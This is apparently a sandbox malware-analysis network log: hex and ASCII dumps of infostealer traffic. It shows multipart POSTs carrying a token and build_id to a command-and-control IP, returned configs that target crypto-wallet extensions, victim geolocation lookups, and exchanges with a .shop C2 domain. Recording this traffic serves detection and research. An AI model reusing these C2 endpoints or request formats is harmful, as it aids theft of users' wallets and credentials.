2024-05-24 11:42:34 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHDBGDHDAECBGDHJKFID User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 65.109.242.59 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 11:42:34 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 32 38 35 39 34 32 39 64 62 32 31 34 65 65 36 35 64 34 63 66 62 31 32 32 65 39 33 33 36 33 64 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 63 32 31 62 34 35 61 34 33 32 38 38 39 61 66 36 35 61 61 30 35 63 64 36 36 39 32 30 64 30 61 32 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 44 0d 0a 43 6f 6e 74 Data Ascii: ------EHDBGDHDAECBGDHJKFIDContent-Disposition: form-data; name="token"32859429db214ee65d4cfb122e93363d------EHDBGDHDAECBGDHJKFIDContent-Disposition: form-data; name="build_id"c21b45a432889af65aa05cd66920d0a2------EHDBGDHDAECBGDHJKFIDCont
2024-05-24 11:42:35 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 11:42:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-24 11:42:35 UTC	5605	IN	Data Raw: 31 35 64 38 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 Data Ascii: 15d8TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49832	65.109.242.59	443	7204	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:42:36 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIEHDBGDHDAECBGDHJKF User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 65.109.242.59 Content-Length: 332 Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 11:42:36 UTC	332	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 49 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 32 38 35 39 34 32 39 64 62 32 31 34 65 65 36 35 64 34 63 66 62 31 32 32 65 39 33 33 36 33 64 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 63 32 31 62 34 35 61 34 33 32 38 38 39 61 66 36 35 61 61 30 35 63 64 36 36 39 32 30 64 30 61 32 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 0d 0a 43 6f 6e 74 Data Ascii: ------FIEHDBGDHDAECBGDHJKFContent-Disposition: form-data; name="token"32859429db214ee65d4cfb122e93363d------FIEHDBGDHDAECBGDHJKFContent-Disposition: form-data; name="build_id"c21b45a432889af65aa05cd66920d0a2------FIEHDBGDHDAECBGDHJKFCont
2024-05-24 11:42:37 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 11:42:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-24 11:42:37 UTC	119	IN	Data Raw: 36 63 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 46 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 6cTWV0YU1hc2t8MXx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDF8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb2180

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49836	172.67.75.163	443	2084	C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:42:40 UTC	187	OUT	GET / HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: api.myip.com
2024-05-24 11:42:40 UTC	565	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:42:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QjSaFTqL75gcCfZbI2imI4Y1b%2FfixLXj3oXo2I3wp0zOMPrswdPabB7LNJGXzg430Xx4cCcFZnYzp1k%2B00K%2FjxmOS0Xzo5cBuVpd7iLSveQg6IXBNr0x2skoRKeLmA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d060d089242bc-EWR
2024-05-24 11:42:40 UTC	63	IN	Data Raw: 33 39 0d 0a 7b 22 69 70 22 3a 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 63 63 22 3a 22 55 53 22 7d 0d 0a Data Ascii: 39{"ip":"8.46.123.175","country":"United States","cc":"US"}
2024-05-24 11:42:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.4	49837	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:42:40 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: employhabragaomlsp.shop
2024-05-24 11:42:40 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-05-24 11:42:41 UTC	820	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:42:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rn9oq54drquh6d83tmdu43ge57; expires=Tue, 17-Sep-2024 05:29:19 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9J%2BazyY%2FwXiCux9t5D%2FgG%2FzsgUAu%2BOAaDsXDyQ88VT87ihBmdvlUIXzRAcf7lfZc7pfiW0F1J6SqlGDWI43lKIdUveV8CybwloTF91gu590g7j0Sru7uY%2Flp5xg14ZEB4KF%2BDD0wuaB4ww%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d06107abe4244-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 11:42:41 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-05-24 11:42:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49838	34.117.186.192	443	2084	C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:42:40 UTC	237	OUT	GET /widget/demo/8.46.123.175 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: ipinfo.io
2024-05-24 11:42:41 UTC	514	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Fri, 24 May 2024 11:42:41 GMT content-type: application/json; charset=utf-8 Content-Length: 1028 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 2 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 11:42:41 UTC	876	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 2c 0a 20 20 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 31 37 35 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 33 33 35 36 20 4c 65 76 Data Ascii: { "input": "8.46.123.175", "data": { "ip": "8.46.123.175", "hostname": "static-cpe-8-46-123-175.centurylink.com", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS3356 Lev
2024-05-24 11:42:41 UTC	152	IN	Data Raw: 20 20 22 65 6d 61 69 6c 22 3a 20 22 61 62 75 73 65 40 61 75 70 2e 6c 75 6d 65 6e 2e 63 6f 6d 22 2c 0a 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 43 65 6e 74 75 72 79 6c 69 6e 6b 20 41 62 75 73 65 20 44 65 73 6b 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 30 2f 32 34 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 2b 31 2d 38 37 37 2d 38 38 36 2d 36 35 31 35 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: "email": "abuse@aup.lumen.com", "name": "Centurylink Abuse Desk", "network": "8.46.123.0/24", "phone": "+1-877-886-6515" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49839	65.109.242.59	443	7204	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:42:41 UTC	279	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEGHJKFHJJJKJJJJKEHC User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 65.109.242.59 Content-Length: 8017 Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 11:42:41 UTC	8017	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 47 48 4a 4b 46 48 4a 4a 4a 4b 4a 4a 4a 4a 4b 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 32 38 35 39 34 32 39 64 62 32 31 34 65 65 36 35 64 34 63 66 62 31 32 32 65 39 33 33 36 33 64 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 48 4a 4b 46 48 4a 4a 4a 4b 4a 4a 4a 4a 4b 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 63 32 31 62 34 35 61 34 33 32 38 38 39 61 66 36 35 61 61 30 35 63 64 36 36 39 32 30 64 30 61 32 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 48 4a 4b 46 48 4a 4a 4a 4b 4a 4a 4a 4a 4b 45 48 43 0d 0a 43 6f 6e 74 Data Ascii: ------JEGHJKFHJJJKJJJJKEHCContent-Disposition: form-data; name="token"32859429db214ee65d4cfb122e93363d------JEGHJKFHJJJKJJJJKEHCContent-Disposition: form-data; name="build_id"c21b45a432889af65aa05cd66920d0a2------JEGHJKFHJJJKJJJJKEHCCont
2024-05-24 11:42:42 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 11:42:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-24 11:42:42 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.4	49848	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:42:42 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 49 Host: employhabragaomlsp.shop
2024-05-24 11:42:42 UTC	49	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 48 38 4e 67 43 6c 2d 2d 26 6a 3d 64 65 66 61 75 6c 74 Data Ascii: act=recive_message&ver=4.0&lid=H8NgCl--&j=default
2024-05-24 11:42:43 UTC	810	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:42:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mlkscuotj9s4ogfard8pt11oep; expires=Tue, 17-Sep-2024 05:29:21 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yUlNvf9L53sPiWioiAspjwVrT3b5pBODDB6AxqrwxUWLz%2BqDZA7ENGAGWmXAQo3n4CyvFv7%2B41XcOjCJ9ZDOHPoiO0XD0JuRjeuj2hlIHTfotUXEJzvcdvpoccyb5W7ixgeydfraylTr2w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d061c5d884407-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 11:42:43 UTC	559	IN	Data Raw: 63 65 32 0d 0a 6f 41 50 49 34 34 44 2f 61 39 5a 67 78 2f 50 79 62 71 37 42 68 66 64 41 46 6b 50 77 6b 73 45 2b 47 6a 67 4d 4e 76 6d 4b 6b 77 66 62 49 62 37 42 75 73 74 48 39 42 4f 69 30 63 67 61 33 4c 54 67 32 32 4a 33 4a 39 4b 6f 70 31 39 32 53 32 6b 61 32 2b 2f 72 4a 5a 70 59 73 38 48 6c 6b 55 6e 73 51 71 4b 5a 6b 41 2f 43 6f 2b 53 63 4c 32 59 76 6b 2f 71 74 57 58 4a 64 62 31 4b 59 35 76 35 69 78 57 61 70 69 65 36 57 42 72 34 4e 35 64 2f 51 43 39 54 6a 76 39 55 4e 63 7a 65 52 33 36 42 4e 63 52 70 78 47 6f 4b 6f 39 6d 6d 43 4f 65 71 43 35 5a 30 48 73 41 53 73 6d 35 6f 47 79 71 4c 68 6e 54 42 2f 4a 5a 6a 36 6f 31 70 7a 56 32 5a 47 6c 65 7a 35 61 63 4e 73 71 63 47 73 33 51 36 73 51 76 33 52 77 7a 37 50 73 76 61 41 4c 32 51 6e 30 75 2f 74 52 54 68 64 59 68 Data Ascii: ce2oAPI44D/a9Zgx/Pybq7BhfdAFkPwksE+GjgMNvmKkwfbIb7BustH9BOi0cga3LTg22J3J9Kop192S2ka2+/rJZpYs8HlkUnsQqKZkA/Co+ScL2Yvk/qtWXJdb1KY5v5ixWapie6WBr4N5d/QC9Tjv9UNczeR36BNcRpxGoKo9mmCOeqC5Z0HsASsm5oGyqLhnTB/JZj6o1pzV2ZGlez5acNsqcGs3Q6sQv3Rwz7PsvaAL2Qn0u/tRThdYh
2024-05-24 11:42:43 UTC	1369	IN	Data Raw: 76 62 49 61 32 4e 6f 73 56 4a 75 67 65 71 67 35 45 65 79 61 33 31 6d 53 64 79 4c 4a 48 2b 6f 31 6c 2f 56 32 42 53 6e 4f 76 35 59 63 4e 76 70 6f 76 68 6d 51 72 30 54 4f 57 57 69 45 79 55 34 39 61 57 4a 6e 4d 7a 6b 66 37 6a 51 7a 5a 44 4c 6c 4f 58 71 4b 6b 6c 79 47 65 6e 69 4f 6d 61 41 62 67 51 72 70 36 54 42 63 75 6c 37 5a 59 71 66 69 65 63 38 61 52 5a 66 30 68 67 58 35 62 72 2b 32 4f 43 4c 2b 71 47 2b 74 31 52 39 43 79 6d 67 49 59 2b 7a 37 4c 32 31 54 30 36 4f 4e 4c 33 72 78 77 67 47 6d 64 63 6c 4f 58 38 62 38 78 6b 70 34 6a 6a 6e 41 53 79 43 61 53 5a 6d 41 6a 4c 6f 2b 4f 59 4c 58 6f 68 6e 50 69 6d 57 48 4a 54 4c 68 72 62 37 2b 6b 6c 6d 69 47 61 6a 4f 36 57 42 66 59 33 70 70 2b 65 43 39 72 6a 2b 4e 73 37 4e 43 61 65 73 50 73 63 61 6c 46 6a 56 5a 58 36 2f Data Ascii: vbIa2NosVJugeqg5Eeya31mSdyLJH+o1l/V2BSnOv5YcNvpovhmQr0TOWWiEyU49aWJnMzkf7jQzZDLlOXqKklyGeniOmaAbgQrp6TBcul7ZYqfiec8aRZf0hgX5br+2OCL+qG+t1R9CymgIY+z7L21T06ONL3rxwgGmdclOX8b8xkp4jjnASyCaSZmAjLo+OYLXohnPimWHJTLhrb7+klmiGajO6WBfY3pp+eC9rj+Ns7NCaesPscalFjVZX6/
2024-05-24 11:42:43 UTC	1369	IN	Data Raw: 74 6d 61 4c 46 53 59 49 53 71 4a 32 2b 42 38 43 71 70 34 70 73 62 57 47 56 2f 4f 4d 45 4f 46 35 69 58 4a 48 6e 2b 47 2f 49 62 71 4f 42 36 70 51 41 74 77 4b 70 6c 35 45 41 77 4b 37 69 6c 69 64 35 4a 4a 4c 38 70 46 74 35 47 69 41 55 6e 50 43 78 50 59 4a 52 70 34 33 70 6b 55 75 42 41 61 75 66 6c 78 71 4d 76 4b 6d 4d 59 6e 4d 74 30 71 6a 6a 55 33 6c 58 5a 46 2b 56 35 50 42 6c 78 6d 4b 67 67 65 32 59 44 37 77 4c 70 59 4f 58 41 38 32 69 37 4a 34 76 65 69 53 54 39 61 51 63 4e 68 70 70 54 4e 75 77 73 55 6a 72 57 2b 71 65 72 49 52 4a 73 77 37 6c 79 64 41 49 78 71 50 71 6e 79 6c 37 49 70 58 2b 6f 31 46 79 53 47 5a 55 6d 2b 62 33 5a 4d 35 6b 71 34 33 68 6a 77 57 79 44 36 4f 5a 67 6b 79 43 34 2b 43 4e 59 69 78 68 73 76 75 76 58 33 52 62 61 52 61 36 34 76 4a 75 7a 69 Data Ascii: tmaLFSYISqJ2+B8Cqp4psbWGV/OMEOF5iXJHn+G/IbqOB6pQAtwKpl5EAwK7ilid5JJL8pFt5GiAUnPCxPYJRp43pkUuBAauflxqMvKmMYnMt0qjjU3lXZF+V5PBlxmKgge2YD7wLpYOXA82i7J4veiST9aQcNhppTNuwsUjrW+qerIRJsw7lydAIxqPqnyl7IpX+o1FySGZUm+b3ZM5kq43hjwWyD6OZgkyC4+CNYixhsvuvX3RbaRa64vJuzi
2024-05-24 11:42:43 UTC	8	IN	Data Raw: 6b 77 57 36 44 36 0d 0a Data Ascii: kwW6D6
2024-05-24 11:42:43 UTC	1369	IN	Data Raw: 32 62 33 36 0d 0a 2b 53 6e 55 79 43 34 2b 43 4e 59 69 78 68 76 76 65 75 63 6e 4e 57 61 52 53 45 70 75 67 6c 78 57 33 71 32 61 4b 52 41 37 67 4c 70 5a 69 56 42 4d 65 71 34 70 51 70 63 53 4b 55 2f 61 78 56 61 6c 42 74 57 70 6a 6b 2f 57 50 44 59 72 69 4a 36 39 31 48 39 41 57 39 30 63 68 4d 37 61 33 71 67 53 56 6b 59 59 32 2b 75 68 78 2f 56 69 34 4d 32 2b 76 77 61 73 46 67 70 34 66 72 6c 51 6d 79 42 36 71 63 6e 67 76 4c 6f 2b 71 62 4c 58 49 70 6e 2f 79 6f 55 6e 46 63 62 6c 57 52 71 4c 38 6c 78 58 6e 71 32 61 4b 74 43 72 51 43 76 74 47 50 51 74 58 6a 34 4a 6c 69 4c 47 47 41 2b 71 70 63 65 31 56 70 55 4a 44 6b 39 47 44 4e 59 71 4f 45 36 35 4d 62 76 51 79 74 6d 5a 38 4a 78 36 50 71 6e 79 35 30 49 74 4b 2b 34 31 74 67 47 6a 59 55 71 65 58 39 63 38 56 75 36 70 36 Data Ascii: 2b36+SnUyC4+CNYixhvveucnNWaRSEpuglxW3q2aKRA7gLpZiVBMeq4pQpcSKU/axValBtWpjk/WPDYriJ691H9AW90chM7a3qgSVkYY2+uhx/Vi4M2+vwasFgp4frlQmyB6qcngvLo+qbLXIpn/yoUnFcblWRqL8lxXnq2aKtCrQCvtGPQtXj4JliLGGA+qpce1VpUJDk9GDNYqOE65MbvQytmZ8Jx6Pqny50ItK+41tgGjYUqeX9c8Vu6p6
2024-05-24 11:42:43 UTC	1369	IN	Data Raw: 77 71 70 6d 35 4d 4c 6a 4f 32 6e 6b 6a 6f 30 65 64 4c 54 74 45 78 31 47 6e 45 61 67 71 6a 32 61 59 49 35 36 6f 6e 76 6c 51 4f 77 42 61 69 57 6c 67 58 65 71 75 4b 62 49 6e 41 71 6e 66 61 6e 58 33 68 49 61 46 43 54 36 2f 78 6f 7a 47 4b 75 77 61 7a 64 44 71 78 43 2f 64 47 69 41 63 4b 34 36 4a 49 7a 66 6d 47 4e 76 72 6f 63 66 31 59 75 44 4e 76 73 2f 33 66 4a 59 4b 47 4b 37 4a 6f 47 73 51 69 6c 6e 70 51 50 77 71 6a 6d 6c 69 70 35 4c 4a 7a 36 71 6c 56 2f 56 6d 70 54 32 36 61 78 59 74 6f 68 38 73 48 4a 76 43 53 59 42 62 2f 52 6a 30 4c 56 34 2b 43 5a 59 69 78 68 6e 76 6d 76 56 6e 4e 64 5a 46 71 53 35 76 70 33 30 47 4b 75 67 75 75 65 44 72 30 4d 70 5a 61 56 41 73 75 69 37 4a 45 6f 64 79 66 53 76 75 4e 62 59 42 6f 32 46 4c 66 72 38 57 6a 59 49 62 58 50 2b 39 30 4f Data Ascii: wqpm5MLjO2nkjo0edLTtEx1GnEagqj2aYI56onvlQOwBaiWlgXequKbInAqnfanX3hIaFCT6/xozGKuwazdDqxC/dGiAcK46JIzfmGNvrocf1YuDNvs/3fJYKGK7JoGsQilnpQPwqjmlip5LJz6qlV/VmpT26axYtoh8sHJvCSYBb/Rj0LV4+CZYixhnvmvVnNdZFqS5vp30GKuguueDr0MpZaVAsui7JEodyfSvuNbYBo2FLfr8WjYIbXP+90O
2024-05-24 11:42:43 UTC	1369	IN	Data Raw: 36 66 43 4d 79 73 34 5a 4d 6a 65 79 65 56 2b 61 4a 55 66 78 6f 67 46 4a 7a 77 73 54 32 43 54 36 32 43 35 74 30 57 2b 68 76 6c 6c 70 78 4d 6c 4f 50 6e 6e 79 68 2b 4c 35 4c 33 73 56 70 78 57 6d 31 47 6d 4f 37 35 59 38 35 74 70 34 6e 72 6e 51 79 2f 44 36 36 63 6c 67 7a 48 6f 71 66 62 59 6e 4d 35 30 71 6a 6a 62 58 56 55 61 6c 71 59 2b 50 59 6c 33 53 2b 7a 77 65 57 52 53 65 78 43 71 70 69 43 43 38 6d 72 37 70 55 73 66 53 69 56 39 4b 42 64 66 46 5a 68 58 5a 6a 67 38 47 33 4e 59 71 71 4b 36 70 63 49 75 67 66 6c 33 39 41 4c 31 4f 4f 2f 31 51 31 33 4a 4a 6e 78 34 58 74 2b 58 57 49 55 68 4b 62 6f 4a 63 56 74 36 74 6d 69 6e 67 32 36 43 36 71 56 6d 67 76 4d 70 4f 47 56 4b 6e 38 73 6d 65 4b 6d 55 6e 31 62 62 6c 57 55 35 50 46 33 78 32 2b 68 6a 4f 62 64 52 2f 51 46 76 Data Ascii: 6fCMys4ZMjeyeV+aJUfxogFJzwsT2CT62C5t0W+hvllpxMlOPnnyh+L5L3sVpxWm1GmO75Y85tp4nrnQy/D66clgzHoqfbYnM50qjjbXVUalqY+PYl3S+zweWRSexCqpiCC8mr7pUsfSiV9KBdfFZhXZjg8G3NYqqK6pcIugfl39AL1OO/1Q13JJnx4Xt+XWIUhKboJcVt6tming26C6qVmgvMpOGVKn8smeKmUn1bblWU5PF3x2+hjObdR/QFv
2024-05-24 11:42:43 UTC	1369	IN	Data Raw: 44 34 37 2b 73 59 6a 78 68 72 62 37 6a 52 44 67 43 4c 6d 47 59 35 76 39 69 31 48 44 6e 6f 76 53 51 42 72 38 44 35 64 2f 51 43 6f 7a 37 74 39 74 69 63 44 44 53 71 50 4d 4f 49 77 38 39 41 38 75 36 37 69 76 62 49 62 7a 42 75 73 39 48 39 42 44 6c 79 64 42 4c 77 71 37 6d 6c 69 78 33 4d 34 44 32 6f 45 70 37 48 56 42 71 75 75 58 36 61 63 39 75 6f 62 2f 63 76 41 53 2f 44 71 69 65 6d 7a 4c 79 74 75 53 62 4c 48 4d 33 67 37 44 74 48 48 63 61 4e 6d 33 62 6f 4c 46 61 6a 43 47 79 77 62 72 64 50 4c 63 4d 71 35 61 47 48 59 47 43 36 70 34 75 65 53 36 5a 73 4f 30 63 66 68 6f 32 42 4e 57 6f 39 58 53 43 4f 66 72 54 75 63 68 61 34 31 4c 33 6a 74 34 56 6a 4c 57 6e 7a 58 41 36 59 